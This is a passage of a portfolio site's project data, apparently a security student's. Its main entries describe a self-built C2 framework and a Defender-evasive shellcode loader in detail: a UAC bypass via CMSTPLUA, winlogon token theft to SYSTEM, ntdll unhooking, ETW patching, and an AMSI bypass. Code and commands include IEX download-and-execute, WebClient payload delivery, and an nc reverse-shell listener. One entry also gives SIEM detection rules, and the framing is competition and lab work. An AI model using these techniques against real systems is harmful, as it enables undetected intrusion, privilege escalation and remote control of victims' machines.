"Stderr watchdog (fatal FPGA pattern detection)", code: `_FPGA_FATAL_SIGS = ( b"invalid context", b"bulk transfer error", b"only 0 bytes transferred", b"device may have been disconnected", ) class StderrWatcher: def __init__(self): self.fault = threading.Event() def start(self): r, w = os.pipe() self._orig_stderr_fd = os.dup(2) os.dup2(w, 2) # redirect FD 2 → pipe os.close(w) self._read_fd = r threading.Thread( target=self._loop, daemon=True).start() def _loop(self): buf = b"" while True: chunk = os.read(self._read_fd, 4096) if not chunk: return os.write(self._orig_stderr_fd, chunk) buf += chunk for sig in _FPGA_FATAL_SIGS: if sig in buf.lower(): self.fault.set() break if len(buf) > 8192: buf = buf[-2048:]`, }, ], }, { heading: "Mortar ballistics solver", content: [ { type: "paragraph", text: "The mortar calculator uses real in-game firing tables with per-charge elevation, time-of-flight, and dispersion data. It interpolates between table entries and applies height correction for elevation differences between the mortar and target." }, { type: "code", title: "Firing solution computation", code: `def mortar_solve(faction, round_name, distance, height_diff, charge="auto"): rd = MORTAR_ROUNDS[faction][round_name] if charge == "auto": ch = _find_best_charge(rd, distance) if ch is None: return None else: ch = int(charge) cdata = rd["charges"][ch] interp = _interpolate(cdata["table"], distance) if interp is None: return None base_elev, tof, delev = interp elev_correction = (height_diff / 100.0) * delev final_elev = base_elev - elev_correction return { "elevation": final_elev, "charge": ch, "tof": tof, "distance": distance, "height_diff": height_diff, "dispersion": cdata["disp"], "round_name": round_name, }`, }, ], }, ], }, }, { id: "p6", title: "Reversing Pointer Obfuscation Schemes — Static Analysis — Game Hacking Pt. 3", kind: "Reverse Engineering", category: "grey", tags: ["XOR chains", "Static analysis", "Memory protection", "Reverse Engineering"], blurb: "Reversing a pointer-encryption scheme used to hide critical game-state references from naive memory scanners.", role: "Work in progress.", wip: true, detail: { objective: "Reverse a pointer-obfuscation scheme that protects critical game-state pointers from being trivially scanned in memory.", approach: [ "Identified the encrypt/decrypt routines from cross-references to known game-state structs.", "Currently working out the keying material — where it lives, when it rotates, how it's bound to the process.", "Plan to write a small static analyzer that recovers plaintext pointers from a memory dump.", ], outcomes: ["WIP — full writeup pending."], learned: "Obfuscation buys time. Reading XOR chains slowly is the whole game.", artifacts: ["WIP reversing notes", "Decrypt prototype"], }, }, { id: "p9", title: "Custom C2 Framework — Windows 11 Beacon, Teamserver & Full Privesc Chain", kind: "Offense", category: "red", tags: ["C", "Python", "Windows Internals", "AES-256-GCM", "WinHTTP", "Indirect Syscalls", "Token Impersonation", "CCDC"], blurb: "A full C2 framework built from scratch: AES-256-GCM encrypted beacon, Flask teamserver, CMSTPLUA UAC bypass, XOR sleep masking, and a verified SYSTEM token theft chain — all passing Windows Defender on a fresh install with no exclusions.", role: "Solo — full stack from wire protocol to privilege escalation chain.", detail: { objective: "Build a self-contained red team toolkit for CCDC and similar competitions with live blue teams and Windows Defender. The goal was a working implant that survives modern endpoint detection, escalates from a standard user to SYSTEM, and gives a real operator experience — not a toy proof-of-concept.", approach: [ "Designed and built an encrypted HTTPS beacon in C using WinHTTP with AES-256-GCM over a custom wire format (base64-encoded nonce + ciphertext + GCM tag). Config strings are XOR-obfuscated at build time by a Python code generator — no C2 IP, URI, user-agent, or key exists in plaintext in the binary.", "Implemented hash-based API resolution via PEB/EAT walk with FNV-1a — no sensitive function names appear in the import table. Sensitive calls go through resolved pointers, not the IAT.", "Added TartarusGate indirect syscalls: walks ntdll's export table sorted by VA, infers syscall numbers from clean neighboring stubs if the target is hooked, then jumps to a real syscall gadget inside ntdll. Used for NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, and NtCreateThreadEx.", "Built a heap-trampoline sleep mask: copies a small XOR encrypt/decrypt trampoline to an RWX heap allocation, runs it from there (not from .text), and encrypts only the .text section during sleep so Defender's memory scanner sees scrambled bytes. Critical design: encrypt .text only, not the whole image — whole-image VirtualProtect returns the protection of the first page (PE headers = PAGE_READONLY after stomp), and restoring to that makes .text non-executable on wakeup.", "Implemented a UAC bypass via CMSTPLUA COM auto-elevation: CoGetObject with the Elevation:Administrator elevation moniker activates the CMSTPLUA COM server at admin context, then ICMLuaUtil::ShellExec (vtable slot 9) relaunches the beacon elevated. A UAC prompt appears on Win11 but succeeds on confirmation.", "Built token impersonation commands: steal_token enables SeDebugPrivilege, opens winlogon.exe (not lsass — PPL-protected on Win11), duplicates its primary token, and calls ImpersonateLoggedOnUser. Subsequent shell commands run via CreateProcessWithTokenW under the stolen identity.", "Wrote a Python Flask teamserver with SQLite persistence, AES-GCM crypto mirror, operator REST API, and an interactive CLI. Operator can list implants, queue tasks, set sleep intervals, and retrieve results.", ], outcomes: [ "Beacon passes Windows Defender on Win11 Pro 26200 — fully enabled real-time and behavioral protection, no exclusions, binary dropped to Desktop and double-clicked.", "Full SYSTEM chain verified end-to-end: UAC bypass → High integrity check-in → steal_token winlogon → SYSTEM with SeTcbPrivilege, SeDebugPrivilege, and SeImpersonatePrivilege all enabled.", "Operator workflow covers shell execution, file upload/download, process injection (indirect syscalls), token impersonation, and sleep masking — fully functional against a live Defender box.", "Sleep mask design decision documented: whole-image VirtualProtect bug found and fixed by limiting encryption to the .text section, ensuring correct protection restore after wakeup.", ], learned: "The hardest part was ordering. Comms must be established before any evasion setup — RWX allocation, PE stomp, and ntdll walking all trigger Defender behavioral monitoring which silently kills WinHTTP from the process. Getting that ordering right was the difference between a beacon that worked and one that just disappeared. The sleep mask crash also taught me that subtle API behavior — VirtualProtect returning only the first page's protection for a multi-section region — can silently corrupt the execution state in a way that's nearly impossible to debug without structured logging.", artifacts: ["Beacon source (C, ~8 source files)", "Teamserver (Python/Flask)", "Operator CLI", "Custom PIC shellcode payload"], sections: [ { heading: "Architecture", content: [ { type: "paragraph", text: "The framework has four components: a C beacon that runs on the target, a Python Flask teamserver that receives beacons and queues tasks, an operator CLI for issuing commands, and a set of build tools that generate per-deployment configs. Everything communicates over HTTPS with AES-256-GCM encryption." }, { type: "list", ordered: false, items: [ "beacon/ — C implant compiled with MinGW cross-compiler. WinMain entry point, mwindows subsystem (no console), stripped binary. Named after a legitimate Windows process.", "server/ — Flask HTTPS teamserver. SQLite persistence for implants, tasks, and results. Operator REST API with token auth. UA-gating: unknown user-agents get a 404.", "operator/cli.py — cmd.Cmd interactive console. list, interact, shell, steal_token, getuid, inject, upload, download, sleep, kill.", "tools/gen_config.py — generates beacon/include/config.h with XOR-encoded C2 hosts, URIs, user-agent, and AES key. Each build gets a fresh random XOR pad.", "shellcode/ — custom PIC x64 reverse shell. No imports. PEB/EAT walk + FNV-1a to resolve all APIs at runtime. LHOST/LPORT patched by encode.py using volatile sentinel arrays.", ], }, { type: "paragraph", text: "Wire format (both directions): base64( nonce[12] | ciphertext[n] | GCM-tag[16] ). Python uses AESGCM from cryptography.hazmat; C uses BCrypt BCryptEncrypt with BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO. Both sides produce identical byte streams." }, ], }, { heading: "Beacon evasion techniques", content: [ { type: "list", ordered: false, items: [ "XOR-obfuscated config: gen_config.py XOR-encodes every string in config.h with a random single-byte pad at build time. C2 hostname, URI paths, user-agent, and AES key are all decoded on-stack at runtime and immediately zeroed after use. No plaintext strings exist in the binary.", "Hash-based API resolution: PEB InMemoryOrderModuleList walk + EAT walk, hashing names with FNV-1a (case-insensitive for modules, case-sensitive for exports). Sensitive function names never appear in the IAT or anywhere in the binary as strings.", "PE header stomp: After initial check-in, VirtualProtect(base, 0x1000, RW) + SecureZeroMemory wipes the MZ magic, PE signature, and section table from memory. Memory dump tools see no PE header.", "PPID spoofing: Shell commands spawned with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS pointing to explorer.exe at Medium integrity, or direct CreateProcessW at High (PPID spoof to a Medium parent caps child integrity, stripping admin privileges).", "TartarusGate indirect syscalls: Walks ntdll EAT sorted by VA. If a stub is hooked (first bytes aren't the clean mov r10,rcx / mov eax,SSN pattern), infers the SSN from clean neighboring exports. Jumps to a real syscall;ret gadget inside ntdll. Used for NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx.", "Heap-trampoline sleep mask: Trampoline function copied byte-for-byte to an RWX heap allocation at init. No IAT references, no RIP-relative data — all dependencies passed in a TrampCtx struct. Encrypts the .text section only (not whole image) with XOR during sleep. AES key scrubbed from heap before encrypt, restored after decrypt.", ], }, ], }, { heading: "UAC bypass — CMSTPLUA COM auto-elevation", content: [ { type: "paragraph", text: "Fires when TokenElevationType == TokenElevationTypeLimited — a filtered split token with an elevated counterpart available. Returns immediately if already elevated or not a local admin. The wsreset AppX registry handler is patched on Win11 26200. This technique uses CMSTPLUA, a Windows system DLL registered as an auto-elevating COM server." }, { type: "list", ordered: true, items: [ "CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)", "CoGetObject(L\"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}\", BIND_OPTS3 with CLSCTX_LOCAL_SERVER, IID_ICMLuaUtil, &pUtil) — activates CMSTPLUA at admin elevation context", "Access vtable slot 9 (ICMLuaUtil::ShellExec) and call with own executable path — spawns an elevated copy of the beacon", "Release via vtable slot 2, CoUninitialize, Sleep(500), ExitProcess(0) — original Medium process exits cleanly", "Elevated copy re-enters WinMain, TokenElevationTypeLimited check fails, bypass returns immediately, beacon continues at High integrity", ], }, { type: "paragraph", text: "On Win11 26200 a UAC prompt appears (CMSTPLUA is not fully silent on this build). Acceptable for scenarios with physical or social access. The elevated copy launches and checks in at High integrity on confirmation." }, ], }, { heading: "Token impersonation — Medium to SYSTEM", content: [ { type: "paragraph", text: "Three operator commands implement a complete token impersonation workflow. After UAC bypass the beacon is at High integrity — steal_token elevates further to SYSTEM." }, { type: "list", ordered: true, items: [ "enable_privs(): enables SeDebugPrivilege, SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeIncreaseQuotaPrivilege on the beacon's own token", "OpenProcess(PROCESS_QUERY_INFORMATION, winlogon_pid) — winlogon.exe runs as SYSTEM and is not PPL-protected. lsass.exe has RunAsPPL=2 on Win11 — OpenProcess returns error 5 even with SeDebugPrivilege.", "OpenProcessToken(TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE)", "DuplicateTokenEx(SecurityImpersonation, TokenPrimary, &g_stolen_token) — primary token for CreateProcessWithTokenW", "ImpersonateLoggedOnUser(g_stolen_token) — thread impersonation token set; GetUserNameA immediately reflects SYSTEM", ], }, { type: "code", title: "Operator session — full SYSTEM chain", code: `C2 ▸ interact 90c1b0b4 C2[90c1b0b4] ▸ getuid [+] testUserJ [High] C2[90c1b0b4] ▸ shell tasklist | findstr winlogon winlogon.exe 880 Console 1 10,828 K C2[90c1b0b4] ▸ steal_token 880 [+] token stolen from pid 880 — now running as: SYSTEM C2[90c1b0b4] ▸ getuid [+] SYSTEM [High] (token impersonation active) C2[90c1b0b4] ▸ shell whoami /priv SeTcbPrivilege Enabled SeDebugPrivilege Enabled SeImpersonatePrivilege Enabled`, }, ], }, { heading: "Operator workflow", content: [ { type: "code", title: "Start server, deliver beacon, operate", code: `# 1. Generate config and build (on Parrot) cd ~/c2-framework python3 tools/gen_config.py --hosts --port 8443 --kill-date 20271231 # paste SHARED_KEY_HEX into server/config.py cd beacon && make # → build/SearchProtocolHost.exe # 2. Start C2 server cd ~/c2-framework nohup python3 server/server.py > /tmp/c2server.log 2>&1 & # 3. Deliver beacon (HTTP server → WebClient on target) cd ~/c2-framework/beacon/build python3 -m http.server 9999 & # On target PowerShell: # (New-Object Net.WebClient).DownloadFile('http://:9999/SearchProtocolHost.exe','C:\\Users\\user\\Desktop\\SearchProtocolHost.exe') # 4. Connect operator CLI python3 operator/cli.py --host 127.0.0.1 --port 8443 --token c2admin # 5. Verify check-in and operate C2 ▸ list C2 ▸ interact C2[id] ▸ shell whoami C2[id] ▸ steal_token C2[id] ▸ shell whoami /priv`, }, ], }, { heading: "Windows Defender results", content: [ { type: "paragraph", text: "Tested on Windows 11 Pro 10.0.26200 (fresh install, reverted snapshot). Defender real-time protection and behavioral monitoring fully enabled. No exclusions on any path. Binary dropped to Desktop and double-clicked." }, { type: "list", ordered: false, items: [ "Static on-demand scan: Pass — no signature match on the binary", "Real-time protection on execution: Pass — no alert during launch or UAC bypass", "Behavioral monitoring during check-in: Pass — WinHTTP comms, PE stomp, RWX allocation all undetected", "sleep_masked XOR encrypt/decrypt cycle: Pass — no alert on .text section protection flip", "steal_token winlogon → SYSTEM: Pass — token duplication and impersonation undetected", "Known detection vector: CreateFileA + WriteFile to C:\\Temp\\ (debug logging pattern) triggers Win32/Sabsik.FL.A!ml. Removed from production builds.", ], }, ], }, ], }, }, { id: "p10", title: "Standalone Evasive Loader & On-Target AMSI Bypass — Windows 11", kind: "Offense", category: "red", tags: ["C", "C#", "Shellcode", "ntdll Unhooking", "ETW Patching", "Dynamic API", "AMSI Bypass", "Defender Evasion"], blurb: "A single-exe shellcode loader with a four-layer evasion chain (dynamic API resolution, ntdll unhooking, ETW patching, hex-encoded payload) that passes Windows Defender — paired with a C# AMSI bypass launcher compiled on-target via LOLBAS csc.exe.", role: "Solo — loader, PIC shellcode, and AMSI bypass launcher.", detail: { objective: "Build a delivery vehicle that drops a reverse shell without triggering Windows Defender — without a C2 or staging server. The loader should be a single self-contained exe that evades static scans, survives behavioral monitoring, and leaves no obvious forensic trace. Separately, build an AMSI bypass that works from within a compromised shell session so PowerShell tooling can run undetected.", approach: [ "Removed all suspicious imports from the IAT using dynamic API resolution: VirtualAlloc, VirtualProtect, CreateThread, WriteProcessMemory, and the remote-injection equivalents are all resolved at runtime via GetProcAddress and stored in a global struct. The import table contains only innocuous entries.", "Implemented ntdll unhooking: opens ntdll.dll as a raw file mapping (PAGE_READONLY, no SEC_IMAGE relocation), finds the .text section in the on-disk copy, VirtualProtects the in-memory .text to RWX, and memcpys the clean disk bytes over the hooked in-memory stubs. All subsequent Win32 calls go through unhooked ntdll.", "Patched ETW at EtwEventWrite with a single 0xC3 (RET) byte, silencing all user-mode ETW telemetry from the process. Applied after ntdll unhooking so the patch lands on the clean stub.", "XOR-encrypted the shellcode and stored it as a hex string in a generated header (sc.h). Hex encoding constrains byte values to 16 distinct characters (~4 bits/byte entropy vs ~7.9 for raw encrypted bytes). The XOR key is regenerated on every make run — no two builds produce the same hex string.", "Added a PE version info resource block and embedded application manifest via windres: CompanyName, FileDescription, FileVersion, ProductName all matching a plausible Windows component at the current OS build version. Defender's ML model weights the presence of .rsrc metadata heavily — a stripped PE with no version info is itself a detection signal.", "For post-exploitation AMSI bypass: built a C# launcher (t.cs) that sets amsiInitFailed=true via reflection before any PowerShell runspace initializes. All sensitive strings (type name, field name) are encoded as int arrays — no 'AmsiUtils' or 'amsiInitFailed' appears in source or compiled binary. Compiled on-target with csc.exe (LOLBAS, available on all Windows .NET 4.x systems).", ], outcomes: [ "Loader passes Windows Defender on Win11 26200 — static scan, real-time execution, and post-execution behavioral scan all pass.", "AMSI_Patch_T.B12 behavioral detection eliminated by removing the VirtualProtect-based amsi.dll patch entirely — AMSI is irrelevant in the loader's shellcode execution path.", "AMSI bypass (t.cs) allows arbitrary PowerShell to run undetected from a compromised shell session, including IEX download-and-execute of remote scripts.", "Every make clean && make produces a unique binary — fresh XOR key and fresh hex encoding means no two builds share a static signature.", ], learned: "Removing a technique is sometimes the right evasion move. The original loader patched AmsiScanBuffer via VirtualProtect — this triggered AMSI_Patch_T.B12 at the kernel ETW level regardless of how the patch bytes were obfuscated, because the detection monitors the API call sequence, not the content. Since the loader executes shellcode, not PowerShell, AMSI never scans anything in its process. Removing the patch eliminated the detection with zero loss of capability. The lesson: understand what each component actually defends against before adding it.", artifacts: ["loader.c (evasive loader)", "reverse_shell.c (custom PIC shellcode)", "encode.py (LHOST/LPORT patcher)", "gen_header.py (XOR encoder → sc.h)", "t.cs (on-target AMSI bypass)"], sections: [ { heading: "Evasion chain overview", content: [ { type: "paragraph", text: "Four layers applied in sequence at runtime before shellcode execution. Each targets a different detection surface." }, { type: "list", ordered: true, items: [ "Dynamic API resolution — removes VirtualAlloc, VirtualProtect, CreateThread, WriteProcessMemory and the remote injection equivalents from the import table. IAT contains only innocuous entries.", "ntdll unhooking — overwrites hooked ntdll .text in memory with clean bytes from the on-disk copy. EDRs instrument ntdll via JMP trampolines; this restores original stubs before any sensitive call.", "ETW patching — patches EtwEventWrite with a RET instruction, silencing user-mode ETW telemetry. Applied after unhooking so the patch lands on the clean stub, not the EDR's trampoline.", "Hex-encoded payload — shellcode XOR-encrypted and stored as a hex string. Low entropy, unique per build. Decoded in a single pass at runtime with no intermediate allocation.", ], }, ], }, { heading: "Dynamic API resolution", content: [ { type: "paragraph", text: "Before this, a static import scan would immediately classify the binary as a shellcode loader. After, the IAT contains only innocuous kernel32 and msvcrt entries. All resolved function pointers are stored in a global struct A." }, { type: "code", title: "R() macro — resolve and store at init", code: `#define R(fn) A.fn = (p##fn##_t)GetProcAddress(k32, #fn); if (!A.fn) return 0; static int init_apis(void) { HMODULE k32 = GetModuleHandleA("kernel32.dll"); R(VirtualAlloc) R(VirtualProtect) R(VirtualFree) R(CreateThread) R(FlushInstructionCache) R(OpenProcess) R(VirtualAllocEx) R(WriteProcessMemory) R(VirtualProtectEx) R(CreateRemoteThread) R(VirtualFreeEx) return 1; }`, }, ], }, { heading: "ntdll unhooking", content: [ { type: "paragraph", text: "EDRs overwrite the first bytes of sensitive ntdll exports with JMP trampolines to their inspection code. This restores original stubs by copying the on-disk .text section over the in-memory copy." }, { type: "list", ordered: true, items: [ "Open %SystemRoot%\\System32\\ntdll.dll as a raw file mapping (PAGE_READONLY, not SEC_IMAGE — no relocation processing needed for x64 PIC .text)", "Walk the in-memory ntdll PE section headers to find .text base and size", "VirtualProtect in-memory .text to PAGE_EXECUTE_READWRITE", "memcpy from disk .text (PointerToRawData offset) over in-memory .text (VirtualAddress offset)", "Restore original protection — all subsequent ntdll calls go through clean, unhooked stubs", ], }, ], }, { heading: "ETW patching", content: [ { type: "paragraph", text: "EtwEventWrite is called by ntdll to log events consumed by EDR ETW sessions. A single 0xC3 (RET) byte at the start of the function silences all user-mode ETW telemetry from this process. Applied after ntdll unhooking so the patch lands on the restored clean stub, not the EDR's trampoline." }, ], }, { heading: "Hex-encoded payload", content: [ { type: "paragraph", text: "Raw encrypted shellcode has ~7.9 bits/byte entropy — near-maximum, a strong ML signal for packed/encrypted content. Storing it as a lowercase hex string constrains values to 0x30–0x39 and 0x61–0x66 (16 distinct bytes, ~4 bits/byte entropy). The XOR key is randomised on every build so each hex string is unique." }, { type: "code", title: "Hex decode + XOR decrypt in one pass (no intermediate allocation)", code: `static unsigned char hex_nibble(char c) { if (c >= '0' && c <= '9') return (unsigned char)(c - '0'); return (unsigned char)(c - 'a' + 10); } /* In decrypt_sc(): */ buf[i] = ((hex_nibble(SC_HEX[i*2]) << 4) | hex_nibble(SC_HEX[i*2+1])) ^ SC_KEY[i % SC_KEY_LEN];`, }, ], }, { heading: "PE version info & application manifest", content: [ { type: "paragraph", text: "The .rsrc section is populated via windres with a full VS_VERSION_INFO block (CompanyName, FileDescription, FileVersion, ProductName, LegalCopyright, OriginalFilename) matching a plausible Windows component at the current OS build version, plus an embedded manifest declaring asInvoker execution level and Common-Controls v6 dependency. Defender's ML model is trained on real Windows software which almost always has these resources — a stripped PE with no .rsrc section is itself a detection signal. Every make clean && make regenerates the XOR key and produces a unique binary." }, ], }, { heading: "AMSI bypass — t.cs (on-target, via LOLBAS)", content: [ { type: "paragraph", text: "All reflection-based AMSI bypass techniques in PowerShell are actively detected regardless of string obfuscation. AMSI_Patch_T.B12 fires on VirtualProtect-based patching of amsi.dll at the kernel ETW level — it monitors the API call sequence, not the content. The loader itself doesn't need AMSI patching because it executes shellcode, not PowerShell. For post-exploitation PowerShell use, a different approach is needed." }, { type: "paragraph", text: "t.cs is a small C# launcher that performs the AMSI bypass before any PowerShell AMSI scanning initializes. It uses reflection to set amsiInitFailed=true on System.Management.Automation.AmsiUtils before creating the runspace — the runspace inherits a disabled AMSI scanner. No VirtualProtect on amsi.dll, so AMSI_Patch_T.B12 is never triggered. All sensitive strings are encoded as int arrays so no recognizable string appears in source or compiled binary." }, { type: "code", title: "t.cs — compile and run (on-target)", code: `// Step 1 — compile on-target using csc.exe (LOLBAS, no tools needed) $sma = [PSObject].Assembly.Location $csc = 'C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe' & $csc /nologo /out:C:\\Users\\user\\AppData\\Local\\Temp\\t.exe /reference:$sma C:\\Users\\user\\AppData\\Local\\Temp\\t.cs // Step 2 — run with any PowerShell payload C:\\Users\\user\\AppData\\Local\\Temp\\t.exe "Get-Process" C:\\Users\\user\\AppData\\Local\\Temp\\t.exe "IEX (New-Object Net.WebClient).DownloadString('http:///tool.ps1')"`, }, ], }, { heading: "Detection results", content: [ { type: "list", ordered: false, items: [ "Static on-demand scan (right-click → Scan): Pass", "Real-time protection on execution: Pass — shell connects", "Post-execution behavioral scan: Pass", "AMSI_Patch_T.B12 behavioral detection: Eliminated (patch removed — irrelevant for shellcode execution path)", "Post-reboot scheduled ML scan: No detection observed in testing", "Test environment: Windows 11 Pro 10.0.26200, Defender fully enabled, no exclusions", ], }, ], }, { heading: "Build & usage", content: [ { type: "code", title: "Full build pipeline (on Parrot/Linux with MinGW)", code: `# Prerequisites sudo apt install mingw-w64 python3 # Step 1 — build the PIC shellcode cd c2-framework/shellcode make # → build/shellcode.bin # Step 2 — patch LHOST/LPORT sentinels in-place python3 encode.py --lhost --lport 4444 # → build/shellcode_patched.bin # Step 3 — build the evasive loader (fresh XOR key every run) cd phase2 make clean && make # → phase2/loader.exe # Attacker: start listener nc -lvnp 4444 # Target: run loader (no console window, shell connects in ~1s) loader.exe # Optional: inject into existing process (requires admin) loader.exe `, }, ], }, ], }, }, { id: "p2", title: "Undetected Windows Reverse Shell — Live Demo & Mitigations", kind: "Offense + Defense", category: "red", crossTag: "blue", tags: ["Malware Analysis", "Detections", "Windows Internals", "Sandboxing", "Network Forensics", "C/C++"], blurb: "A controlled, lab-only reverse shell demonstration: built a process-injection payload that evades Windows Defender, demoed it live, then documented the detection telemetry and SIEM correlation rules to catch it.", role: "Both halves: red-team build, then blue-team writeup.", detail: { objective: "Show end-to-end what evasion actually means: build a reverse shell that survives common static and dynamic checks, demo it live in isolated VMs, then go to the other side of the table and write the detection logic.", approach: [ "Built a process-injection loader in C with encrypted payload, dynamic API resolution, and minimal on-disk footprint to avoid signature-based static checks.", "Demonstrated three evasion techniques: (1) static evasion via obfuscation — encrypted payload prevents pattern matching, (2) minimal on-disk footprint — active code reconstructed in memory inside another process, (3) runtime injection into trusted processes to blend into normal process activity.", "Live-demoed the implant against a default-config Windows VM running Windows Defender — payload executed successfully without triggering alerts.", "Tested the same payload against my Pi Secure Web Gateway — the SWG successfully blocked the download, demonstrating gateway-level defense effectiveness.", "Analyzed sandbox findings to map the full kill-chain using MITRE ATT&CK: Native API execution, Process Injection / Thread Execution Hijacking, Defense Evasion via timestomping, Deobfuscate/Decode patterns, Virtualization/Sandbox Evasion, and C2 Application Layer Protocol.", "Documented key flagged API calls: VirtualAllocEx → WriteProcessMemory → VirtualProtectEx (RW→RX) → CreateRemoteThread — the high-confidence process injection sequence.", "Wrote recommended SIEM correlation rules: process injection + network correlation, sandbox-evasion pattern detection, timestamp anomaly alerts, and suspicious parent-child process chain detection.", ], outcomes: [ "Implant evaded Windows Defender in a controlled lab environment.", "Pi Secure Web Gateway successfully blocked the download — proving gateway-level defense works even when endpoint AV fails.", "Full detection ruleset covering injection patterns, network correlation, and process ancestry for SIEM deployment.", "Talk-style writeup pairing every offensive step with the defensive telemetry it produces.", ], learned: "AV evasion is mostly opsec, not magic. The interesting part is the trail you can't fully erase — that's where defenders win. Controls see different signals: a file can appear clean to hash-based checks while producing high-fidelity runtime signals on the host. Use both sources to reduce blind spots.", artifacts: ["Implant source (lab-only)", "Detection ruleset", "Kill-chain writeup", "MITRE ATT&CK mapping", "Demo videos"], sections: [ { heading: "How it evades analysis", content: [ { type: "paragraph", text: "This is a lab-style study of a process-injection reverse shell performed in isolated VMs. The focus is explanation and measurement — why certain delivery and runtime techniques can avoid simple static/dynamic checks, and what telemetry they leave behind for defenders." }, { type: "list", ordered: true, items: [ "Static evasion via obfuscation: The loader contains an encrypted payload rather than plain shellcode or strings that match malware signatures — this prevents simple signature and pattern matching from triggering on download.", "Minimal on-disk footprint: The active code is reconstructed in memory inside another process, so the original file on disk appears small and benign. Reputation checks that rely on file hashes or obvious PE characteristics return 'unknown' or 'benign.'", "Runtime injection into trusted processes: The loader creates or hijacks a normally-trusted process and writes the payload into its memory — the behavior blends into otherwise normal process activity and can defeat simplistic sandbox heuristics.", ], }, ], }, { heading: "Demo walkthroughs", content: [ { type: "paragraph", text: "Short clips showing the payload execution on the Windows victim and the listener session receiving the beacon." }, { type: "video", src: "videos/rev-shell-execution.mp4", caption: "Victim VM executing the staged loader and spawning the reverse shell." }, { type: "video", src: "videos/kalilistener.mp4", caption: "Listener machine receiving the callback and granting an interactive session." }, { type: "paragraph", text: "The code bypasses Windows Defender completely. Defender comes with every Windows machine by default and is rarely supplemented with other defenses. This demonstrates why depending on a single anti-virus product is a significant security risk." }, ], }, { heading: "Testing against the Secure Web Gateway", content: [ { type: "paragraph", text: "Even though the reverse shell bypasses Windows Defender, my Pi Secure Web Gateway successfully blocks the download — proving that gateway-level defense works even when endpoint AV fails." }, { type: "image", src: "images/coolfileblockpage.png", alt: "SWG decision screenshot showing the reverse shell download denied", caption: "The SWG blocks the reverse shell download that Defender would have allowed through." }, ], }, { heading: "MITRE ATT&CK mapping", content: [ { type: "list", ordered: false, items: [ "Execution — Native API: Uses native OS APIs to start or manipulate processes. Detection: unexpected process creation or unusual command-line flags.", "Process Injection / Thread Execution Hijacking: Writes into another process' memory and creates a thread to execute there. Detection: WriteProcessMemory + VirtualProtectEx (RW→RX) or CreateRemoteThread in an unusual target process.", "Defense Evasion — Timestomp: Suspicious compilation timestamp or timestomping of files. Detection: PE timestamps in the future or inconsistent build metadata.", "Deobfuscate/Decode Files: Base64 decode usage seen in .NET. Detection: API calls to Convert::FromBase64String or code that allocates memory then decodes content before in-memory reconstruction.", "Virtualization / Sandbox Evasion: Uses write-watch allocations to avoid dynamic analysis. Detection: reserved memory regions with write-watch flags, or long sleep patterns in short analysis windows.", "C2 — Application Layer Protocol: Network comms and DNS activity observed. Detection: immediate outbound DNS or TCP after process injection; anomalous domains or unusual destination ports.", ], }, ], }, { heading: "Key flagged API calls", content: [ { type: "paragraph", text: "These calls appearing in sequence form a high-confidence pattern for process injection — treat them as prioritized triage signals." }, { type: "list", ordered: false, items: [ "VirtualAllocEx — allocates memory inside another process; a strong indicator of in-memory payload staging.", "WriteProcessMemory — writes the payload into foreign process memory, signaling high-fidelity injection behavior.", "VirtualProtectEx — flips memory permissions to RX after writing, the classic prepare-to-execute step (RW→RX).", "CreateRemoteThread — launches execution in the target process and completes the injection chain.", ], }, ], }, { heading: "Recommended SIEM correlation rules", content: [ { type: "list", ordered: false, items: [ "Process injection correlation: Alert when WriteProcessMemory or VirtualAllocEx fires and a VirtualProtectEx call turns the same region executable within seconds, especially if CreateRemoteThread follows.", "Injection + network: Elevate severity when the injection chain is followed by outbound DNS or TCP within a short window. Prioritize non-standard destinations.", "Sandbox-evasion patterns: Flag binaries exhibiting long sleep loops or write-watch reservations and route for extended dynamic analysis.", "Timestamp anomalies: Raise alerts when compilation timestamps are in the future or inconsistent, indicating potential timestomping.", "Suspicious parent-child: Detect high-trust parents spawning unexpected executables (e.g., Office → scripting host → unknown PE).", ], }, ], }, { heading: "Key takeaways", content: [ { type: "list", ordered: false, items: [ "Controls see different signals: A file can appear 'clean' to file-reputation checks while producing high-fidelity runtime signals on the host. Use both sources to reduce blind spots.", "Process injection is high-fidelity but not always high-coverage: The VirtualAllocEx → WriteProcessMemory → VirtualProtectEx → CreateRemoteThread sequence is a strong indicator, but some EDRs may not flag it without correlated network evidence.", "Gateways prevent exposure if tuned: When the SWG denies a download before process creation, the attack path is interrupted entirely.", "Correlate, don't rely on single signals: Multi-signal rules (injection + outbound connections + timestamp anomalies) reduce false positives while catching more true positives.", ], }, ], }, ], }, }, { id: "p8", title: "Phishing Email Analyzer — AI-Assisted Triage Tool", kind: "Defense / Tooling", category: "blue", tags: ["Python", "Email Security", "SPF", "DKIM", "DMARC", "VirusTotal API", "LLM / AI", "SOC"], blurb: "A Python CLI tool that ingests raw .eml files, validates SPF/DKIM/DMARC, scans URLs and attachments via VirusTotal, then feeds extracted metadata to an LLM for an AI-assisted phishing verdict — all without exposing email body content.", role: "Work in progress.", wip: true, detail: { objective: "Build a standalone email analysis tool that automates phishing triage: parse authentication headers, check URL and attachment reputation, then use an LLM API to reason over the extracted indicators and produce a natural-language risk assessment — while keeping email content private by only sending metadata to the AI.", approach: [ "Parse .eml files using Python's email module to extract headers, body, URLs, and attachments.", "Validate email authentication: read Authentication-Results for SPF/DKIM/DMARC verdicts, flag failures and mismatches between From, Reply-To, and Return-Path.", "Extract and scan URLs — detect display-text vs. href mismatches, check against VirusTotal, flag URL shorteners and lookalike domains.", "Hash and scan attachments via VirusTotal; flag dangerous extensions and check Office docs for macros using oletools.", "Privacy-preserving AI analysis: extract only metadata (sender addresses, authentication results, URL domains, attachment filenames/hashes, header anomalies) and send to an LLM API (OpenAI or Gemini) with a structured prompt — the email body is never sent to the AI.", "The LLM receives a structured JSON payload of indicators and returns a risk assessment with reasoning, catching subtle patterns like typosquatted domains, urgency language in subjects, or unusual Received-chain geography that rule-based checks might miss.", "Output a combined triage report: deterministic checks (SPF/DKIM/DMARC, VT scores) alongside the AI's reasoning and 